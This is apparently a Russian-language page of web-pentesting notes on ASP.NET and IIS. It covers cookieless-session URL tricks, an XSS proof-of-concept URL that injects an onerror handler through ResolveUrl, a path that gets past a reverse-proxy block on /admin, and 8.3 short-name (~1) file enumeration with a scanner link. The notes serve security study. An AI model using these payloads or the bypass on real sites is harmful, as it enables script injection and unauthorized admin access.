# Security

## ASP.NET / IIS Security

{% file src="<https://437660652-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lt0mQyntJcgfhc8fWk8%2Fuploads%2FwhpXRZGmOdvKYIBR3p3Q%2FV.Kochetkov_breaking_ASP.NET.pdf?alt=media&token=3e9593f8-eecd-4cfd-8f1a-7eb40d80ed75>" %}

## Notes

### Cookieless session

Источник: <https://t.me/webpwn/302>

В ASP.NET есть удобная олдскульная фича - cookieless session. Она осталась ещё с тех времён, когда куки поддерживались не всеми браузерами и сессию приходилось передавать внутри URL.

Например:

```
http://www.example.com/(S(lit3py55t21z5v55vlm25s55))/default.aspx
```

При использовании Control.ResolveUrl метода, это значение может выводится без корректного энкодинга символов, что может давать нам XSS-ку:

```
<script src="<%= ResolveUrl("~/Script.js") %>"></script> 
+
http://example.com/(A(%22onerror=%22alert`1`%22))/default.aspx

 ->

 <script src="/(A("onerror="alert`1"))/Script.js"></script>

```

Более подробно об этой особенности и эксплуатации можно почитать [ТУТ](https://blog.isec.pl/all-is-xss-that-comes-to-the-net/)

Кроме того, эту фичу можно использовать для обхода ограничений на реверс прокси к админке приложения бэкэнда (всё что начинается с “/admin”), например:

```
http://victim.com/admin - 403
http://victim.com/(A(ABCD))/admin - 200
```

### Short Names (8.3 convention; Tricks with \~1 in Windows)

Если знаем первые 6 символов директории или файла, то оставшуюся можем заменить на `~1`

![](https://437660652-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lt0mQyntJcgfhc8fWk8%2Fuploads%2FzJc08dpLexf4tugpJv3V%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media\&token=dea368b5-059e-423e-8080-ea4b7cfa69da)

Сканер для IIS: <https://github.com/irsdl/iis-shortname-scanner>
